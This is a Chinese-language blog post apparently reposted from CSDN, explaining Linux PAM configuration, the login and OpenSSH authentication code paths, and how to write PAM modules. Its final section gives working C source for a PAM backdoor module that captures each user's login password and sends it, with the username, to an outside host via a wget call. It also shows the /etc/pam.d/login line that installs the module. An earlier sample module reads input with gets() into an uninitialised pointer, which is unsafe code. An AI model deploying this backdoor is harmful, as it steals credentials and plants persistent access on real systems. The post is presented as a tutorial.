深入浅出Linux PAM实战

好久没来这跟新了,打算从今年开始在这里除除草,我兄弟的公众号也开通了给大家推荐下

小菜鸡的技术之路
在这里插入图片描述
关注公众号推荐给大家,网盘免费的Linux学习课程

本文从简单理解PAM机制入手,解释了大部分介绍PAM文章没有解释的Linux登陆机制,从攻击面入手开发PAM模块后门,从模块调用者和被调用者两个角度进行分析,分别实践开发对应程序。通过本文介绍将会对PAM模块有更加深入的了解和认识,提高实战过程中分析认证模块的能力。

0x01 PAM 简介

 全名Pluggable Authentication Modules,可插拔认证模块。为了统一认证系统,PAM提供了完整系统的认证机制,可作为应用程序编程接口进行调用。
 PAM作为一个认证模块,在linux系统中使用较为广泛,主要作为API进行使用,使得认证系统灵活性、扩展性大大增强,主要认证结构如下图:

PAM系统结构

 如上述的图示, PAM 是一个独立的 API 存在,只要任何程序有需求时,可调用 PAM 进行认证, PAM 经过一连串的验证后,将验证的结果回报给该程序,程序根据反馈结果判断是否认证成功。目前在Linux系统中很多程序都会利用 PAM API同时我们也可以自己编写程序调用PAM。
 PAM 用来进行验证的数据称为模块 (Modules),每个 PAM 模块的功能都不太相同。我们也可自己编写Modules提供程序进行调用。

0x02 PAM 认证

 Linux系统中使用PAM 功能需要配置文件的支持,文件夹/etc/pam.d/保存着应用程序调用PAM的相关配置。应用程序调用相应的配置文件,从而调用本地的认证模块。

/etc/pam.d

对应的pam_unix.so子模块放置在/lib/x86_64-linux-gnu/security/下,使用动态链接库.so方式引用。
/lib/security

综合如下:

文件夹 功能
/etc/pam.d/* 每个程序个别的 PAM 配置文件
/lib/security/* PAM 模块文件的实际放置目录
/etc/security/* 其他 PAM 环境的配置文件
/usr/share/doc/pam-*/ 详细的 PAM 说明文件

说到这可能会有一些疑问,PAM在登陆认证环节到底做了什么角色?
Linux系统在登陆时利用Login程序进行认证,起初Login程序有单独的系统认证流程,会读取/etc/passwd和/etc/shadow文件进行认证,同时也支持PAM模块进行插拔式认证。

0x1 PAM配置及验证流程

提到PAM不得不提就是他的配置文件,通常配置文件的名字和调用程序名字相同,举个例子Linux login登陆:

PAM简单流程


Step 1
在/etc/pam.d/文件夹下搜索到login如下图

login 对应的配置文件

Step 2

查看login配置内容

auth      requisite     pam_mylogin.so
auth       optional   pam_faildelay.so  delay=3000000
auth [success=ok new_authtok_reqd=ok ignore=ignore user_unknown=bad default=die] pam_securetty.so
auth       requisite  pam_nologin.so
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
session       requisite   pam_env.so readenv=1
session       required   pam_env.so readenv=1 envfile=/etc/default/locale
@include common-auth
auth       optional   pam_group.so
...

根据查看的login配置,大体来讲格式如下:验证类别(type)、控制标准(flag)、PAM的模块与该模块的参数

验证类别主要氛围4大类

类型 功能
认证管理(auth) 接收用户名口令并认证,设置秘密信息
账户管理(account) 检查账户是否允许登陆(过期、时间段限制)
会话管理(session) 记录用户登陆与注销时的信息(日志记录在/var/log/secure )
口令管理(password) 用来修改用户的口令

验证控制类型

类型 功能
required 不论成功或失败都会继续后续的验证流程
requisite 失败就终止,返回Fail
sufficient 成功就终止,反之忽略结果
optional 无论验证结果如何,均不会影响(通常用于session类型)

有个形象的图形容上述流程

验证控制类型

0x2 Linux Login 登陆认证

查看Linux login.c 认证登陆代码可以简单归结为下面几个函数

#include <security/pam_appl.h>
# include <security/openpam.h>

static pam_handle_t *init_loginpam(struct login_context *cxt)
{
	rc = pam_start(cxt->remote ? "remote" : "login",
		       cxt->username, &cxt->conv, &pamh);
}

static void loginpam_auth(struct login_context *cxt)
{
		rc = pam_authenticate(pamh, 0);
}

static void loginpam_acct(struct login_context *cxt)
{
	rc = pam_acct_mgmt(pamh, 0);
}

static void loginpam_session(struct login_context *cxt)
{
	rc = pam_setcred(pamh, PAM_ESTABLISH_CRED);
	rc = pam_open_session(pamh, 0);
	rc = pam_setcred(pamh, PAM_REINITIALIZE_CRED);

}
int main(){
	struct sigaction act;
	init_loginpam(&cxt);//初始化PAM环境
	loginpam_auth(&cxt);//认证,检查用户输入的密码是否正确
	loginpam_acct(&cxt);//检查用户帐号是否已经过期
	loginpam_session(&cxt);//通过帐户管理检查之后则打开会话
	init_environ(&cxt);		/* init $HOME, $TERM ... */
	setproctitle("login", cxt.username);
	fork_session(&cxt);
	execvp(childArgv[0], childArgv + 1);//执行sh

	if (!strcmp(childArgv[0], "/bin/sh"))
		warn(_("couldn't exec shell script"));
	else
		warn(_("no shell"));

	exit(EXIT_SUCCESS);

}

为了分析上述代码首先我们了解下

模块类型 函数名称 功能
认证管理 pam_sm_authenticate 认证用户
认证管理 pam_sm_setcred 设置用户证
账号管理 pam_sm_acct_mgmt 帐号管理
会话管理 pam_sm_open_session 打开会话
会话管理 pam_sm_close_session 关闭会话
口令管理 pam_sm_chauthtok 设置口令

中间带sm的函数是SPI需要自己去实现,举个例子:pam_authenticate为API,里面实现调用的pam_sm_authenticate ,该函数可以自己去定制实现。

看下login.c中的关键代码,第29行进行PAM初始化,30行利用pam_authenticate进行认证,31行通过了密码认证之后再调用帐号管理API,检查用户帐号是否已经过期,32行通过帐户管理检查之后则打开会话,最后36行执行/bin/sh命令。

0x3 Linux SSH 登陆认证

分析过Login程序之后,看下ssh登陆认证模块,在openssh源码中发现下面认证代码

///openssh-portable-master/auth-passwd.c
int
auth_password(struct ssh *ssh, const char *password)
{
	Authctxt *authctxt = ssh->authctxt;
	struct passwd *pw = authctxt->pw;
	int result, ok = authctxt->valid;
	...
	...
#ifdef KRB5
	if (options.kerberos_authentication == 1) {
		int ret = auth_krb5_password(authctxt, password);
		if (ret == 1 || ret == 0)
			return ret && ok;
		/* Fall back to ordinary passwd authentication. */
	}
#endif
#ifdef HAVE_CYGWIN
	{
		HANDLE hToken = cygwin_logon_user(pw, password);

		if (hToken == INVALID_HANDLE_VALUE)
			return 0;
		cygwin_set_impersonation_token(hToken);
		return ok;
	}
#endif
#ifdef USE_PAM
	if (options.use_pam)//判断是否开启PAM认证
		return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
	if (!expire_checked) {
		expire_checked = 1;
		if (auth_shadow_pwexpired(authctxt))
			authctxt->force_pwchange = 1;
	}
#endif
	result = sys_auth_passwd(ssh, password);//使用默认的系统认证
	if (authctxt->force_pwchange)
		auth_restrict_session(ssh);
	return (result && ok);
}

从上述代码可以简单判断ssh在进行认证的时候首先判断是否进行 kerberos 认证,其次判断是否有CYGWIN模拟环境,再者判断是否使用PAM认证方式,最后利用sys_auth认证方式进行验证。着重看下PAM和sys系统认证方式。

PAM认证

int
sshpam_auth_passwd(Authctxt *authctxt, const char *password)
{
	char *fake = NULL;

	sshpam_authctxt = authctxt;


	sshpam_err = pam_set_item(sshpam_handle, PAM_CONV,
	    (const void *)&passwd_conv);
	if (sshpam_err != PAM_SUCCESS)
		fatal("PAM: %s: failed to set PAM_CONV: %s", __func__,
		    pam_strerror(sshpam_handle, sshpam_err));

	sshpam_err = pam_authenticate(sshpam_handle, flags);

	if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
		debug("PAM: password authentication accepted for %.100s",
		    authctxt->user);
		return 1;
	} else {
		debug("PAM: password authentication failed for %.100s: %s",
		return 0;
	}
}

9行设置一些关于认证用户信息的参数,15行进行pam认证
SYS认证

///openssh-portable-master/auth-passwd.c
int
sys_auth_passwd(struct ssh *ssh, const char *password)
{
	Authctxt *authctxt = ssh->authctxt;
	struct passwd *pw = authctxt->pw;
	char *encrypted_password, *salt = NULL;

	/* 提取salt盐值 */
	char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;

	if (pw_password == NULL)
		return 0;

	/* 检查是否是空密码 */
	if (strcmp(pw_password, "") == 0 && strcmp(password, "") == 0)
		return (1);

	/*利用xcrypt加密password和salt*/
	if (authctxt->valid && pw_password[0] && pw_password[1])
		salt = pw_password;
	encrypted_password = xcrypt(password, salt);

	/*比较password和加密后的结果是否相同 */
	return encrypted_password != NULL &&
	    strcmp(encrypted_password, pw_password) == 0;
}
#endif

代码中归结为以下几个步骤

  1. 提取salt盐值
  2. 检查是否是空密码
  3. 利用xcrypt加密password和salt
  4. 比较password和加密后的结果是否相同

0x03 编写PAM模块&后门

介绍完PAM模块相关配置和使用,在本节重点介绍代码实现还有插入后门相关操作,从三个方面进行实战,开发普通PAM module,然后用程序调用,修改PAM module为后门模块。

0x1 开发PAM模块

#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <stdio.h>

//重写SPI 接口代码
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc,
                                   const char **argv) {
  char default_pass[] = "aaabbbcccddd";
  char *pass;
   

  // 得到密码
  printf("Password: ");
  gets(pass);

  // 测试判断,如果用户名和密码不相等,就认证失败
  if (strcmp(default_pass, pass) != 0) {
    return PAM_AUTH_ERR;
  }

  printf("Password is: %s\n", pass);
  return PAM_SUCCESS;
}

通过下面两行进行编译

gcc -fPIC -fno-stack-protector -c pam_test.c
sudo ld -x --shared -o /lib/security/pam_test.so pam_test.o

在/etc/pam.d/ 文件夹下创建test文件内容如下

auth required pam_test.so

0x2 程序调用PAM模块

#include <stdio.h>
#include <security/pam_appl.h>
#include <security/pam_misc.h>
extern int misc_conv(int num_msg, const struct pam_message **msgm,
                     struct pam_response **response, void *appdata_ptr) {
  return PAM_SUCCESS;
}
const struct pam_conv conv = {misc_conv, NULL};
int main(int argc, char *argv[]) {
  // 初始化
  pam_handle_t *pamh = NULL;
  int res;
  const char *username = argv[1];
  // 初始化PAM 设置test为验证配置
  if ((pam_start("test", username, &conv, &pamh)) != PAM_SUCCESS) {
    return 0;
  }
  // //认证用户
  res = pam_authenticate(pamh, 0);
  printf("%s\n",(res == PAM_SUCCESS ? "SUCCESS\n" : "Failed\n") );
  // // 结束PAM
  if (pam_end(pamh, res) != PAM_SUCCESS) {
    return 0;
  }
  return res == PAM_SUCCESS ? 0 : 1;
}

在15行初始化pam配置的时候利用的是test配置文件,也就是我们创建的单条规则的文件。19行pam_authenticate使用的是pam_sm_authenticate进行认证。

利用以下命令编译

gcc  -o test test.c -lpam -lpam_misc
./test username

test

0x3 添加后门功能

利用PAM可以实现多种后门

  1. 硬编码登陆
  2. 反弹密码
  3. 反弹shell

这里只介绍第2种情况,效果图如下

获取输入密码

为了方便演示,编写了一个不同的pam_test.so 包含以下内容

#include <security/pam_ext.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
        return PAM_SUCCESS;
}//这个函数必须要重写
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
        int retval;
        const char* pUsername;
        retval = pam_get_user(pamh, &pUsername, NULL);
        char* pPw;
        char * p = "Password:";

        retval = pam_prompt(pamh,PAM_PROMPT_ECHO_OFF,&pPw,"%s",p);
        char *url = "wget http://192.168.190.1:9999";
        char *cmd = (char *) malloc(strlen(url) + strlen(pUsername) + strlen(pPw)+20);
        sprintf(cmd,"%s/%s/%s > /dev/null 2>&1 &",url,pUsername,pPw);
        system(cmd);
    return  PAM_SUCCESS;
}

本来是要替换pam_unix模块,但涉及的代码量太大就放弃了,仅仅用这个例子演示一下。接着下一步在/etc/pam.d/login中添加下面内容

auth      required pam_test.so

这样在login程序验证的时候就会调用到该模块,同时也会调用以前的模块进行验证,这也就意味着有两重验证,具体原因是:

有一个链表存储着所有模块的pam_sm_*的实现,这个链表就是如下结构

pam_handle 结构体存储了基本所有的东西包括用户名、token、加密方式、各类引用的pam_sm函数名及函数链表。

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
    struct pam_data *data;
    struct pam_environ *env;      /* structure to maintain environment list */
    struct _pam_fail_delay fail_delay;   /* helper function for easy delays */
    struct pam_xauth_data xauth;        /* auth info for X display */
    struct service handlers;
    struct _pam_former_state former;  /* library state - support for
					 event driven applications */
    const char *mod_name;	/* Name of the module currently executed */
    int mod_argc;               /* Number of module arguments */
    char **mod_argv;            /* module arguments */
    int choice;			/* Which function we call from the module */
	}

其中struct service handlers 结构体如下存储着handlers。

struct service {
    struct loaded_module *module; /* Array of modules */
    int modules_allocated;
    int modules_used;
    int handlers_loaded;

    struct handlers conf;        /* the configured handlers */
    struct handlers other;       /* the default handlers */
};

handlers结构包含六个handler结构链表的指针,六个指针分别对应六种不同的认证API

struct handlers {
    struct handler *authenticate;
    struct handler *setcred;
    struct handler *acct_mgmt;
    struct handler *open_session;
    struct handler *close_session;
    struct handler *chauthtok;
};
	

handler数据结构是最直接保存服务模块的SPI服务函数的地址及参数的结构, 主要包含了当前服务函数指针、函数参数个数和参数列表、下一个句柄指针。

struct handler {
    int handler_type;
    int (*func)(pam_handle_t *pamh, int flags, int argc, char **argv);
    int actions[_PAM_RETURN_VALUES];
    /* set by authenticate, open_session, chauthtok(1st)
       consumed by setcred, close_session, chauthtok(2nd) */
    int cached_retval; int *cached_retval_p;
    int argc;
    char **argv;
    struct handler *next;
    char *mod_name;
    int stack_level;
};

这些结构体是利用_pam_add_handler函数衔接在一起的,该函数负责加载服务模块的SPI函数具体细节不在细说了。总的来看可以将关系梳理如下:

pam_handle结构体关系图

0x04 参考链接

  • https://www.ibm.com/developerworks/cn/linux/l-pamdev/index.html
  • http://cn.linux.vbird.org/linux_basic/0410accountmanager.php#pam_what
发布了99 篇原创文章 · 获赞 51 · 访问量 71万+

猜你喜欢

转载自blog.csdn.net/qq_31481187/article/details/105587663